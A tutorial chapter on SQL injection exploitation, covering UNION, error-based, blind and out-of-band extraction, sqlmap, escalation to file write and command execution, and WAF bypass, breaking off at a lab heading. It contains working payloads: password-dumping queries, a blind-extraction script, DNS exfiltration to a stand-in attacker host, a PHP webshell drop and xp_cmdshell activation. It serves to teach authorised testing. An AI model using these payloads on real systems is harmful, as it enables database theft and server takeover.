SQL Injection Part 2: UNION, Error-Based & Blind Exploitation

This is Chapter 2 of the Injection notebook — Notebook 23. The previous chapter built the foundation: what a database and SQL are, how a web app’s code turns your input into a broken query, the full taxonomy of SQL injection, and — most importantly — a rigorous methodology for discovering and confirming an injection point safely. This chapter picks up exactly where that left off. You have a confirmed injectable parameter; now you learn to exploit it: to make the database hand you its data, and in the worst cases hand you the operating system it runs on.

Exploitation is where SQLi splits into techniques, and the split is driven by one question: how does information come back to you? If the app reflects query results into the page, you can use the fast, direct UNION-based and error-based techniques. If it reflects nothing but behaves differently depending on your input, you fall back to inferential (blind) techniques — boolean and time-based — extracting data one bit at a time. If it reflects nothing and behaves identically no matter what you inject, you reach for out-of-band exfiltration over a side channel like DNS. This chapter teaches all of them from first principles, then teaches sqlmap to automate the grind, then shows how to turn “I can read the database” into “I can read files and run commands,” and closes with a consolidated defense section. Ethics from Chapter 5 of the Foundations track govern throughout: on a real program you extract the minimum needed to prove impact — a version() banner, a single hashed row — and you never dump customer data or attempt RCE without explicit authorisation.

Why This Matters

Discovery proves a bug exists; exploitation proves it matters. A triager on a bug-bounty platform will downgrade or close a report that says only “a single quote produces an error.” What moves a report to Critical is a screenshot showing you extracted the database version, the current user, and a redacted proof row from a sensitive table — demonstrating that an unauthenticated attacker could read arbitrary data. The techniques in this chapter are exactly how that proof is produced, and they are the difference between a $150 “possible SQLi” and a $10,000 “unauthenticated database read.”

They also teach a deeper lesson that recurs across the whole notebook: exfiltration channels. UNION reflects data directly; error-based smuggles data inside an error message; blind extraction leaks one bit per request through a behavioural difference; out-of-band leaks data through DNS lookups. That progression — from a fat, direct channel down to a one-bit-per-request covert channel — is the same mental model you’ll use later for blind SSRF, blind command injection, blind XXE, and timing side-channels in cryptography. Learn the channels here, on SQLi, where they’re easiest to see.

flowchart TD
    C[Confirmed injection point] --> Q{Are query results<br/>reflected in the response?}
    Q -->|Yes, data reflected| U[UNION-based extraction]
    Q -->|Only errors reflected| E[Error-based extraction]
    Q -->|No reflection, but<br/>behaviour differs| B[Boolean-based blind]
    Q -->|No reflection, no<br/>visible difference| T[Time-based blind]
    Q -->|Nothing visible at all| O[Out-of-band / DNS exfil]
    U --> X[Dump schema & data]
    E --> X
    B --> X
    T --> X
    O --> X
    X --> ESC[Escalate: file read/write, RCE]

Part 1: Recap and the Exploitation Decision Tree

Before exploiting, restate what you must already know from Chapter 1, because every exploitation payload depends on it:

• The injection context. Is your input inside a single-quoted string (WHERE name='INPUT'), a numeric context (WHERE id=INPUT), an ORDER BY clause, a LIKE pattern, an IN (...) list, an identifier, or a second-order sink? The context dictates how you break out and how you comment out the tail of the original query.
• The DBMS. MySQL/MariaDB, Microsoft SQL Server (MSSQL), PostgreSQL, Oracle, and SQLite all speak dialects that differ in string concatenation, comment syntax, the metadata tables, the sleep function, and the stacked-query support. You fingerprinted it in Chapter 1; you use that fingerprint now.
• The technique that fits the channel. Use the decision tree above.

A quick reference for breaking out and terminating, which you’ll reuse in every payload below. Assume the original query is SELECT * FROM products WHERE id = '$input' LIMIT 10.

Context	Example original	Break-out + comment payload (MySQL)
Single-quoted string	... WHERE name='$in'	' UNION SELECT ... -- -
Numeric (unquoted)	... WHERE id=$in	1 UNION SELECT ... -- -
Double-quoted string	... WHERE name="$in"	" UNION SELECT ... -- -
ORDER BY	... ORDER BY $in	(CASE WHEN (1=1) THEN name ELSE id END)
LIKE	... WHERE name LIKE '%$in%'	%' UNION SELECT ... -- -
Inside parentheses	... WHERE id=('$in')	') UNION SELECT ... -- -

Comment styles matter and trip people up constantly. In MySQL the inline comment -- requires a trailing space (or use -- - so the space is visible and not stripped); # also works but must be URL-encoded as %23 in a query string; /* */ works inline. MSSQL and PostgreSQL and Oracle use -- (double dash) happily. When in doubt, append -- - — the trailing - guarantees a non-whitespace character after the required space so proxies and browsers don’t eat it.

Bug bounty note: most real-world SQLi that pays well is not a clean numeric context on a search page — it’s a quoted string context behind a WAF, in a JSON body, or a second-order sink. The break-out table above is the muscle memory that gets you from “confirmed” to “first byte extracted” quickly.

Part 2: In-Band UNION-Based Extraction (From Zero)

UNION-based injection is the fastest, cleanest extraction technique and the one to reach for whenever the application reflects query results into the page — a product listing, a search result, a profile page. It works by appending a second SELECT to the original with the SQL UNION operator, so the results of your query are stitched onto the results of the developer’s query and rendered in the same place.

2.1 What UNION actually does

UNION combines the row-sets of two SELECT statements into one result set. Example, run directly in a database:

SELECT id, name FROM products WHERE category = 'books'
UNION
SELECT id, name FROM products WHERE category = 'films';

This returns the books followed by the films, as one table. UNION has two hard rules that define the entire technique:

1. Both SELECTs must return the same number of columns. SELECT a, b UNION SELECT c is a syntax error. This is why the first job in any UNION attack is counting columns.
2. The corresponding columns must have compatible data types (at least for the columns whose values you actually want to display). This is why the second job is finding a column that can hold a string — because the data you want to steal (usernames, version strings) is text.

By default UNION removes duplicate rows; UNION ALL keeps them. For injection it rarely matters, but UNION ALL occasionally succeeds where UNION silently collapses your row into an existing one, so keep it in your back pocket.

2.2 Step one: determine the number of columns

There are two reliable methods. Learn both — sites break in different ways.

Method A — ORDER BY incrementing. ORDER BY n sorts by the nth column. If the query has fewer than n columns, the database throws an error (or, in some configs, behaves differently). You binary-walk upward until it breaks:

' ORDER BY 1-- -      → OK
' ORDER BY 2-- -      → OK
' ORDER BY 3-- -      → OK
' ORDER BY 4-- -      → ERROR ("Unknown column '4' in 'order clause'")

Four columns triggered the error, so the query has 3 columns. ORDER BY is preferred for counting because it works even when a type mismatch would otherwise hide a UNION.

Method B — UNION SELECT NULL incrementing. NULL is compatible with every data type, so it sidesteps the type-matching rule while you’re still just counting:

' UNION SELECT NULL-- -                 → ERROR (wrong number of columns)
' UNION SELECT NULL,NULL-- -            → ERROR
' UNION SELECT NULL,NULL,NULL-- -       → OK (page renders)

Three NULLs succeeded, so the query has 3 columns. When it succeeds you’ll often see an extra blank/garbage row appear in the listing — that’s your injected row, rendering NULLs.

Oracle quirk: Oracle’s SELECT always needs a FROM. Use the built-in dummy table DUAL: ' UNION SELECT NULL,NULL,NULL FROM DUAL-- -.

2.3 Step two: find which columns are string-compatible and reflected

You know there are 3 columns. Now find which of them (a) accepts a string and (b) is actually printed on the page. Replace the NULLs one at a time with a recognisable string marker:

' UNION SELECT 'aaa',NULL,NULL-- -
' UNION SELECT NULL,'aaa',NULL-- -
' UNION SELECT NULL,NULL,'aaa'-- -

Whichever request makes the literal aaa appear in the HTML tells you which column position is both text-capable and reflected. Say aaa shows up for the second payload — column 2 is your exfiltration slot. If you get a type error when placing a string in a given column (common in MSSQL/PostgreSQL, which are stricter), that column is numeric-only; move on.

MySQL is forgiving about types in UNION (it will coerce), so string markers usually work in any column. PostgreSQL and MSSQL are strict — a string into an int column throws. That strictness is itself a fingerprint (covered in Chapter 1).

2.4 Step three: extract real data

Now put useful expressions in the reflected column. Start with the identity trio — version, current user, current database — as minimal, non-sensitive proof:

-- MySQL / MariaDB
' UNION SELECT NULL, CONCAT(version(),0x3a,current_user(),0x3a,database()), NULL-- -

0x3a is the hex byte for : — using hex avoids needing quotes inside your already-quoted payload, a trick you’ll use constantly. Sample rendered output in the listing:

8.0.36-0ubuntu0.22.04.1:webapp@localhost:shopdb

That single string proves: MySQL 8.0.36, running as webapp@localhost, current database shopdb. On a bounty, stop here and screenshot unless your scope explicitly allows more.

To pull multiple columns through your single reflected slot, concatenate them with a separator. To pull multiple rows through a single reflected row, aggregate them:

-- MySQL: dump all usernames+passwords into one cell, one row per line
' UNION SELECT NULL,
  (SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a) FROM users),
  NULL-- -

GROUP_CONCAT mashes many rows into one string; 0x0a is a newline. Realistic output:

admin:$2b$12$Nn5...redacted...
alice:$2b$12$Kd9...redacted...
bob:$2b$12$Lp2...redacted...

2.5 The information_schema — the map of the database

You rarely know table and column names in advance. Every modern DBMS (except older Oracle, which uses ALL_TABLES/ALL_TAB_COLUMNS) exposes a metadata catalog called information_schema that lists every table and column. This is the single most important object in SQLi exploitation.

-- List all tables in the current database (MySQL/MSSQL/PostgreSQL)
' UNION SELECT NULL,
  (SELECT GROUP_CONCAT(table_name SEPARATOR 0x0a)
   FROM information_schema.tables WHERE table_schema=database()),
  NULL-- -

-- List columns of the interesting table
' UNION SELECT NULL,
  (SELECT GROUP_CONCAT(column_name SEPARATOR 0x0a)
   FROM information_schema.columns WHERE table_name=0x7573657273),
  NULL-- -

0x7573657273 is the hex encoding of users — again avoiding quotes. Once you have the column names, dump them as in 2.4. This three-step loop — tables → columns → data — is the core of every manual dump.

sequenceDiagram
    participant A as Attacker
    participant W as Web App
    participant DB as Database
    A->>W: ' ORDER BY N-- -  (count columns)
    W->>DB: SELECT ... ORDER BY N
    DB-->>W: error or OK
    W-->>A: reveals column count
    A->>W: ' UNION SELECT NULL,'aaa',NULL-- -
    W->>DB: original UNION injected
    DB-->>W: rows incl. 'aaa'
    W-->>A: 'aaa' reflected → found slot
    A->>W: ' UNION SELECT NULL,version(),NULL-- -
    W->>DB: original UNION version()
    DB-->>W: rows incl. version banner
    W-->>A: banner reflected → data extraction

2.6 Per-DBMS UNION cheat data

The metadata queries and identity functions differ per DBMS. Keep this table handy:

Goal	MySQL / MariaDB	MSSQL	PostgreSQL	Oracle
Version	version() or @@version	@@version	version()	banner FROM v$version
Current user	current_user()	SYSTEM_USER / USER_NAME()	current_user	USER
Current DB	database()	DB_NAME()	current_database()	(schema = user)
List tables	information_schema.tables	information_schema.tables	information_schema.tables	ALL_TABLES
List columns	information_schema.columns	information_schema.columns	information_schema.columns	ALL_TAB_COLUMNS
String concat	CONCAT(a,b) / a b	a+b / CONCAT	`a
Comment	-- -, #, /**/	--, /**/	--, /**/	--, /**/
Dummy FROM	not required	not required	not required	FROM DUAL
Stacked queries	usually no	yes (;)	yes (;)	no (via most drivers)

Part 3: Error-Based Extraction (When Data Isn’t Reflected but Errors Are)

Sometimes the application does not display query results at all, but it does leak database error messages (a verbose 500 page, a stack trace, an echoed exception). You can weaponise those error messages as your exfiltration channel by forcing the database to fail while computing your data, embedding the data inside the error text.

3.1 MySQL: EXTRACTVALUE and UPDATEXML

Both functions expect valid XPath as their second argument. Feed them a string that starts with ~ (an illegal XPath char) concatenated with your data, and MySQL throws an error that quotes the offending string back to you — data included.

-- EXTRACTVALUE — leaks version() in the error text
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()) ))-- -

Realistic error returned to the page:

XPATH syntax error: '~8.0.36-0ubuntu0.22.04.1'

-- UPDATEXML — same idea, different function (leaks the admin hash)
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)), 1)-- -

XPATH syntax error: '~$2b$12$Nn5...redacted'

Key limitation: MySQL error strings are truncated to 32 characters. Long values (full password hashes, long secrets) must be extracted in windows using SUBSTRING(data, 1, 31), then SUBSTRING(data, 32, 31), and so on, reassembling the pieces. This is tedious by hand and the reason error-based is best automated with sqlmap (Part 8).

3.2 The classic double-query (floor/rand/group by) trick

Older MySQL leaks data via a duplicate-key error triggered by a rand()/group by collision. It’s ugly but works where the XPath functions are filtered:

' AND (SELECT 1 FROM (SELECT COUNT(*),
      CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) x
      FROM information_schema.tables GROUP BY x) y)-- -

Resulting error:

Duplicate entry '8.0.36-0ubuntu...:1' for key '<group_key>'

The version string is embedded in the “Duplicate entry” message.

3.3 MSSQL: type-conversion errors

MSSQL is the friendliest DBMS for error-based, because converting a string to int throws an error that includes the string:

-- MSSQL — CONVERT/CAST leaks data via a conversion error
' AND 1=CONVERT(int, (SELECT @@version))-- -
' AND 1=CAST((SELECT TOP 1 name FROM sys.databases) AS int)-- -

Realistic error:

Conversion failed when converting the nvarchar value
'Microsoft SQL Server 2019 (RTM) ...' to data type int.

No 32-char truncation limit here — MSSQL conversion errors return the whole string, which is why error-based is often the fastest path on MSSQL targets.

3.4 PostgreSQL: CAST errors

-- PostgreSQL — invalid cast leaks data
' AND 1=CAST((SELECT version()) AS int)-- -
' AND 1=CAST((SELECT current_database()) AS int)-- -

invalid input syntax for type integer:
"PostgreSQL 14.10 on x86_64-pc-linux-gnu ..."

DBMS	Primary error-based primitive	Length limit	Notes
MySQL	EXTRACTVALUE/UPDATEXML (XPath)	32 chars	Window with SUBSTRING; double-query fallback
MSSQL	CONVERT/CAST to int	none	Fastest; returns full string
PostgreSQL	CAST(... AS int)	none	Also ::int shorthand
Oracle	CTXSYS.DRITHSX.SN, utl_inaddr	varies	utl_inaddr also enables OOB (Part 6)

Blue-team relevance (previewing Part 12): error-based injection depends entirely on the app leaking DB errors to the client. The single highest-value defensive control against it is returning a generic error page and logging the real exception server-side — this removes the entire error-based channel and is trivial to implement.

Part 4: Inferential (Blind) SQL Injection — Boolean-Based

When nothing useful is reflected — no data, no errors — but the page still behaves differently depending on whether an injected condition is true or false, you have boolean-based blind injection. You cannot read data directly; instead you ask the database a stream of yes/no questions and read the answers from the page’s behaviour.

4.1 The core idea: turn the page into a one-bit oracle

First establish a reliable true vs false signal. Inject a condition known to be true and one known to be false, and find an observable difference (a product appears vs “no results”, Welcome back vs blank, HTTP 200 vs 500, response length changes):

' AND 1=1-- -      → page shows the normal product  (TRUE state)
' AND 1=2-- -      → page shows "no results"        (FALSE state)

Once you can distinguish TRUE from FALSE, you can ask any yes/no question about the data.

4.2 Extracting data one character at a time

You extract a value by asking, for each character position, “is this character greater than X?” — a binary search over the ASCII range (32–126), which finds each character in ~7 requests instead of ~95.

-- Is the 1st char of the DB version >= 'M' (ASCII 77)? (MySQL)
' AND ASCII(SUBSTRING((SELECT version()),1,1)) > 77-- -

-- Binary-search that position:
' AND ASCII(SUBSTRING((SELECT version()),1,1)) > 64-- -   TRUE
' AND ASCII(SUBSTRING((SELECT version()),1,1)) > 96-- -   FALSE
' AND ASCII(SUBSTRING((SELECT version()),1,1)) > 80-- -   FALSE
' AND ASCII(SUBSTRING((SELECT version()),1,1)) = 56-- -   TRUE  → char is '8'

SUBSTRING(str, pos, len) extracts len characters starting at 1-indexed pos; ASCII() (MySQL/PostgreSQL) or UNICODE() (MSSQL) converts a character to its code point. Walk pos from 1 upward until SUBSTRING(...,pos,1) is empty (the string ended). You now have the full value, one character at a time.

4.3 Function reference for blind string surgery

Operation	MySQL	MSSQL	PostgreSQL	Oracle
Nth character	SUBSTRING(s,n,1)	SUBSTRING(s,n,1)	SUBSTR(s,n,1)	SUBSTR(s,n,1)
Char → code	ASCII(c)	UNICODE(c)	ASCII(c)	ASCII(c)
String length	LENGTH(s)	LEN(s)	LENGTH(s)	LENGTH(s)
Substring count	(SELECT COUNT(*)...)	same	same	same
Conditional	IF(cond,a,b)	CASE WHEN cond THEN a ELSE b END	CASE WHEN ...	CASE WHEN ...

Determine length first to know how many positions to walk:

' AND LENGTH((SELECT password FROM users WHERE username=0x61646d696e))=60-- -

(0x61646d696e = admin.) A 60-char length instantly tells you it’s a bcrypt hash.

4.4 A worked boolean extraction in Python

Doing this by hand is masochism past a few characters. A tiny script automates it — and writing your own is a rite of passage that makes sqlmap’s behaviour legible later:

import requests, string

URL = "https://lab.example/product"
TRUE_MARKER = "Add to cart"          # text present only in the TRUE state
CHARSET = string.printable

def is_true(payload):
    r = requests.get(URL, params={"id": f"1' AND {payload}-- -"})
    return TRUE_MARKER in r.text

def extract(expr, maxlen=64):
    out = ""
    for pos in range(1, maxlen + 1):
        lo, hi = 32, 126
        if not is_true(f"ASCII(SUBSTRING(({expr}),{pos},1)) > 0"):
            break                     # string ended
        while lo < hi:                # binary search this char
            mid = (lo + hi) // 2
            if is_true(f"ASCII(SUBSTRING(({expr}),{pos},1)) > {mid}"):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
        print(f"[+] {out}")
    return out

print(extract("SELECT password FROM users WHERE username=0x61646d696e"))

Sample run:

[+] $
[+] $2
[+] $2b
[+] $2b$
[+] $2b$1
[+] $2b$12
...
[+] $2b$12$Nn5...redacted

CTF note: boolean-based blind is the single most common “hard” SQLi flavour in CTF web challenges and in PortSwigger’s blind labs, precisely because it forces you to write or adapt a script like this. Being fluent in this loop is worth a lot of points.

Part 5: Inferential (Blind) SQL Injection — Time-Based

When even the boolean channel is invisible — the page looks byte-for-byte identical whether your condition is true or false — you fall back to the response time as your oracle. You make the database sleep when a condition is true, and measure how long the response takes. Slow = true, fast = false.

5.1 The sleep primitives per DBMS

DBMS	Unconditional delay	Conditional delay (delay only if TRUE)
MySQL	SLEEP(5)	' AND IF(cond, SLEEP(5), 0)-- -
MySQL (alt)	BENCHMARK(5000000,MD5(1))	inside IF(...)
MSSQL	WAITFOR DELAY '0:0:5'	'; IF(cond) WAITFOR DELAY '0:0:5'-- -
PostgreSQL	pg_sleep(5)	' AND (SELECT CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
Oracle	dbms_pipe.receive_message('a',5)	inside CASE

BENCHMARK and heavy subqueries are useful when SLEEP is filtered — they burn CPU for a measurable time instead of sleeping.

5.2 Confirming time-based, then extracting

First confirm the channel with an unconditional delay and compare timings:

' AND SLEEP(5)-- -            → response takes ~5s   → time-based works
' AND SLEEP(0)-- -            → response is instant  → baseline

Then make the sleep conditional on a data question, exactly like the boolean binary search but with the observable being time instead of page content:

-- Is the 1st char of the current user 'r' (114)?  Sleeps 5s if true. (MySQL)
' AND IF(ASCII(SUBSTRING((SELECT current_user()),1,1))=114, SLEEP(5), 0)-- -

The Python loop from Part 4 becomes time-based by swapping the oracle:

import requests, time

def is_true(payload):
    start = time.time()
    requests.get(URL, params={"id": f"1' AND IF({payload}, SLEEP(3), 0)-- -"})
    return (time.time() - start) > 2.5     # threshold below the sleep, above jitter

5.3 The pitfalls that make time-based unreliable

• Network jitter. Set the sleep duration well above normal latency variance (3–5s) and set the threshold in the middle. On a noisy target, sleep 8s and threshold at 5s.
• Connection pooling / async. Some stacks return the HTTP response before the query finishes; time-based then fails even though the injection is real. Try stacked-query sleeps or a different technique.
• Rate limits & WAFs hate a flood of near-identical slow requests — this is the noisiest, slowest technique and the most likely to get you blocked or noticed.
• It is SLOW. Each character costs ~7 requests × ~5s = ~35s. A 60-char hash is ~35 minutes. This is why time-based is the technique of last resort and why you always let sqlmap grind it with --technique=T --threads rather than doing it by hand.

Blue-team relevance: a burst of requests to one endpoint where response time clusters at suspicious round numbers (5.0s, 10.0s) with tiny payload variations is a near-perfect time-based-SQLi signature. Alert on per-endpoint latency outliers correlated with request volume from one source.

flowchart TD
    S[Send: AND IF cond, SLEEP 5, 0] --> M{Response time?}
    M -->|> ~5s| TRUE[Condition TRUE, bit = 1]
    M -->|instant| FALSE[Condition FALSE, bit = 0]
    TRUE --> N[Next binary-search step]
    FALSE --> N
    N --> D{Whole char found?}
    D -->|no| S
    D -->|yes| P{More positions?}
    P -->|yes| S
    P -->|no| DONE[Value fully extracted]

Part 6: Out-of-Band (OOB) Exfiltration

The final channel: the app reflects nothing, errors nothing, and behaves identically no matter what — but the database server can make outbound network connections. You force it to perform a DNS lookup or HTTP request to a host you control, encoding stolen data in the subdomain. You then read the data from your DNS/HTTP logs. This turns a fully blind, “unexploitable-looking” injection into a fast, direct exfil channel.

6.1 MSSQL over DNS/UNC

MSSQL will resolve a UNC path, triggering a DNS lookup to your Burp Collaborator / interactsh domain, with the stolen data as the leftmost label:

'; DECLARE @d varchar(1024);
   SELECT @d = (SELECT TOP 1 password FROM users);
   EXEC('master..xp_dirtree "\\'+@d+'.oob.attacker.tld\x"')-- -

You then see s2bs12snn5...redacted.oob.attacker.tld appear in your Collaborator DNS log. (Characters illegal in DNS labels must be hex-encoded first.)

6.2 Oracle over HTTP/DNS

-- Oracle: UTL_HTTP or UTL_INADDR forces an outbound lookup
' AND (SELECT UTL_INADDR.GET_HOST_ADDRESS(
   (SELECT user FROM dual)||'.oob.attacker.tld') FROM dual) IS NOT NULL-- -

6.3 MySQL over UNC (Windows hosts only)

-- MySQL LOAD_FILE on a UNC path triggers SMB, then DNS (Windows MySQL only)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),
   '.oob.attacker.tld\\x')),NULL,NULL-- -

You need an OOB listener. The two standard tools are Burp Collaborator (built into Burp Pro) and interactsh (free, open-source):

# interactsh-client — spins up a throwaway domain and prints inbound DNS/HTTP hits
interactsh-client
# registers e.g. c8f3...oast.fun and logs every DNS query it receives

OOB is the fastest blind technique by far — one request can exfil an entire value in a single DNS label — but it requires the DB host to have outbound network access, which hardened environments block. Try it early on internal engagements; expect it to fail on well-segmented production networks.

Part 7: Second-Order SQL Injection

Not all injection fires immediately. In second-order (stored) SQLi, your payload is safely stored on the first request (often correctly escaped on insert) and only executed later, when some other code path reads it back and concatenates it into a new query without re-sanitising.

Classic example: registration stores a username admin'-- -. The registration INSERT is parameterised, so nothing happens then. Later, a “change password” feature builds:

UPDATE users SET password='newpass' WHERE username='admin'-- -'

Your stored username breaks out of this query, and you change admin’s password. The injection point (where the query breaks) is different from the entry point (where you supplied the data), which is exactly why scanners and quick tests miss it.

sequenceDiagram
    participant A as Attacker
    participant App as Application
    participant DB as Database
    A->>App: Register username = admin'-- -
    App->>DB: INSERT (parameterised) stored safely
    Note over DB: payload sits dormant in users table
    A->>App: Trigger feature that REUSES the username
    App->>DB: UPDATE ... WHERE username='admin'-- -'  (concatenated!)
    DB-->>App: query structure altered, injection fires

Finding second-order requires tracking your inputs to their sinks: register with payloads in every stored field, then exercise every feature that later displays or re-queries that data. Burp’s scanner has limited second-order detection; disciplined manual testing (and distinctive canary values per field so you can tell which stored input reached which sink) wins here.

Part 8: sqlmap — Automating the Grind (From Scratch)

Everything above is essential to understand, but doing it by hand on a real target is slow and error-prone. sqlmap is the industry-standard open-source tool that automates detection and exploitation of SQLi across all major DBMSes. It is the single most useful tool in this chapter — but only after you understand the techniques it’s automating, so you can read its output critically and craft the arguments it needs.

8.1 What sqlmap is and how to install it

sqlmap is a Python tool that takes a request (a URL, a saved Burp request, a raw HTTP file) and systematically tests parameters for every SQLi technique — Boolean, Error, Union, Stacked, Time, and Inline — fingerprints the DBMS, and can then enumerate and dump the database, read/write files, and pop an OS shell. It ships on Kali; elsewhere:

# Kali — already installed. Otherwise:
sudo apt install sqlmap           # Debian/Kali/Ubuntu
pipx install sqlmap               # cross-platform, isolated
git clone https://github.com/sqlmapproject/sqlmap   # bleeding edge
python3 sqlmap/sqlmap.py --version

8.2 The core workflow and essential flags

The cleanest way to feed sqlmap a real, authenticated, correctly-headered request is to save it from Burp (right-click, Copy to file, or Save item) and pass it with -r:

sqlmap -r request.txt -p id --batch

Flag	Meaning
-u "URL"	Target a URL directly (GET params in the URL)
-r request.txt	Load a full raw HTTP request from file (best for POST/JSON/auth)
-p id	Test only the id parameter (faster, targeted)
--data="a=1&b=2"	POST body
--cookie="session=..."	Send session cookie (test authenticated surface)
--batch	Never prompt — take default answers (for automation)
--level=1..5	How many places to test (headers, cookies) — higher = more thorough
--risk=1..3	How dangerous the tests may be (3 includes OR-based, heavier)
--dbms=mysql	Skip fingerprinting if you already know the DBMS
--technique=BEUSTQ	Restrict techniques (B=boolean E=error U=union S=stacked T=time Q=inline)
--threads=10	Parallelism (huge speedup for blind)
--tamper=space2comment	Apply evasion transforms (Part 10)
--proxy=http://127.0.0.1:8080	Route through Burp to watch what it sends
--flush-session	Clear cached results and re-test from scratch

8.3 Enumeration and dumping

# 1. Fingerprint + list databases
sqlmap -r request.txt -p id --batch --dbs

# 2. List tables in the target database
sqlmap -r request.txt -p id --batch -D shopdb --tables

# 3. List columns of the users table
sqlmap -r request.txt -p id --batch -D shopdb -T users --columns

# 4. Dump specific columns (minimise blast radius — don't dump everything)
sqlmap -r request.txt -p id --batch -D shopdb -T users -C username,password --dump

# Useful identity flags
sqlmap -r request.txt --batch --current-user --current-db --is-dba --hostname

Realistic (abridged) output for the detection step:

[INFO] testing connection to the target URL
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] GET parameter 'id' is 'MySQL >= 5.6 AND error-based ...' injectable
[INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 3 columns' injectable
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/lab.example'

And a dump:

Database: shopdb
Table: users
[3 entries]
+----+----------+--------------------------------+
| id | username | password                       |
+----+----------+--------------------------------+
| 1  | admin    | $2b$12$Nn5...redacted          |
| 2  | alice    | $2b$12$Kd9...redacted          |
| 3  | bob      | $2b$12$Lp2...redacted          |
+----+----------+--------------------------------+

sqlmap can also crack simple hashes inline (it offers a dictionary attack on recognised hash formats), read files (--file-read=/etc/passwd), write files (--file-write local --file-dest remote), and drop into a shell (Part 9).

8.4 Tuning: level, risk, and being a good bounty citizen

• Start targeted and quiet: -p the one param, --level=1 --risk=1. Only raise --level/--risk if detection fails — higher levels hammer headers/cookies and generate a lot of noise.
• Use --technique to exclude time-based (--technique=BEU) when you want speed and the target reflects data; time-based is what makes runs crawl.
• On a real program, --dump with an explicit -C of only the columns you need for proof; never --dump-all. Respect the scope and data-minimisation rules from Chapter 5 of the Foundations track — a full customer-table dump can turn a legitimate test into a reportable data breach.

Bug bounty note: many programs forbid automated scanners or heavy sqlmap usage in their policy. Read the scope. When allowed, --proxy through Burp so you have a complete, reviewable record of every request you sent — invaluable if the program questions your testing.

Part 9: Escalation — From Query Execution to File Read/Write and RCE

Reading the database is high impact; reading the server’s files or running commands is critical. Whether you can escalate depends on the DBMS, its configuration, and the privileges of the DB account the app uses.

9.1 File read/write (MySQL)

-- Read a file (requires FILE privilege and secure_file_priv permitting the path)
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL-- -

-- Write a webshell into the webroot (requires FILE priv + writable path + known path)
' UNION SELECT '<?php system($_GET[0]); ?>', NULL, NULL
   INTO OUTFILE '/var/www/html/s.php'-- -

secure_file_priv (empty = anywhere, a path = only there, NULL = disabled) governs this; modern MySQL defaults to a restrictive value, so file write often fails — check @@secure_file_priv first via a UNION.

9.2 OS command execution (MSSQL xp_cmdshell)

MSSQL’s xp_cmdshell runs OS commands directly. It’s disabled by default but re-enablable if your DB account is sysadmin — a very common misconfiguration on internal networks:

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami';-- -

sqlmap automates the whole dance:

sqlmap -r request.txt -p id --batch --os-shell     # interactive OS shell
sqlmap -r request.txt -p id --batch --os-cmd="whoami"

9.3 PostgreSQL RCE

-- PostgreSQL COPY ... FROM PROGRAM (superuser) runs a shell command
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out; cat /tmp/out'-- -

Newer PostgreSQL also allows COPY ... FROM PROGRAM and various extension-based paths; sqlmap’s --os-shell handles the common cases.

DBMS	File read	File write	OS command execution
MySQL	LOAD_FILE()	INTO OUTFILE/DUMPFILE	UDF (sys_exec) — rare, needs plugin dir writable
MSSQL	OPENROWSET/BULK	bcp / OLE automation	xp_cmdshell (if sysadmin)
PostgreSQL	pg_read_file() / large objects	large objects	COPY ... FROM PROGRAM (superuser)
Oracle	UTL_FILE	UTL_FILE	Java stored procs / DBMS_SCHEDULER

Ethics gate: file write and OS command execution cross from “reading data” into “code execution on someone’s server.” On a bug-bounty program this is almost always out of scope without explicit written permission, even when technically possible. Proving you could (e.g. reading a single non-sensitive file, or SELECT @@secure_file_priv) is enough for the report; actually dropping a webshell is not. Do not cross this line without authorisation.

Part 10: WAF and Filter Bypass

Real targets sit behind Web Application Firewalls (Cloudflare, AWS WAF, ModSecurity/OWASP CRS, Akamai) and application-level input filters. Bypass is about understanding what the filter matches and mutating your payload so it’s semantically identical but syntactically different.

10.1 Common filters and their bypasses

Filter / control	Bypass idea	Example
Blocks the word UNION	Case variation / inline comment	UnIoN, UN/**/ION, %55NION
Strips spaces	Comments / whitespace alternatives	UNION/**/SELECT, UNION%0aSELECT, UNION(SELECT...)
Blocks OR/AND	Symbol operators	`
Blocks =	LIKE / BETWEEN / <>	1 LIKE 1, 1 BETWEEN 1 AND 1
Blocks quotes	Hex / CHAR() / unquoted numeric ctx	0x61646d696e, CHAR(97,100,...)
Blocks comments -- / #	Close syntax naturally	balance quotes instead of commenting
Keyword blacklist	Double-encoding / nesting	SELSELECTECT (if filter strips once), %2553ELECT
Blocks information_schema	Alt catalogs / sys.*	MySQL sys.schema_table_statistics; MSSQL sys.objects

10.2 Encoding layers

The same payload can be delivered URL-encoded, double-URL-encoded, unicode-encoded, or comment-obfuscated. A WAF that normalises only once is beaten by double-encoding (%2527 → %27 → '). Try, in order: plain → URL-encode special chars → inline comments for spaces/keywords → hex for strings → double-encode.

10.3 sqlmap tamper scripts

sqlmap ships dozens of tamper scripts that apply these transforms automatically. Chain them:

sqlmap -r request.txt -p id --batch \
  --tamper=between,space2comment,charencode,randomcase

Tamper script	What it does
space2comment	Replaces spaces with /**/
randomcase	Randomises keyword case (UnIoN)
charencode	URL-encodes characters
charunicodeencode	Unicode-encodes (good vs ASP/.NET)
between	Replaces > with NOT BETWEEN 0 AND and = with BETWEEN
equaltolike	Replaces = with LIKE
apostrophemask	Encodes quotes as UTF-8 fullwidth
modsecurityversioned	Wraps payload in MySQL versioned comment /*!...*/

Do not brute-force a WAF. Fire a couple of probes, read the block response, form a hypothesis about the rule, and craft the minimal bypass. Blindly throwing every tamper script at a Cloudflare-protected bounty target will get your IP banned and can violate program rules.

Part 11: Fully Worked Hands-On Lab

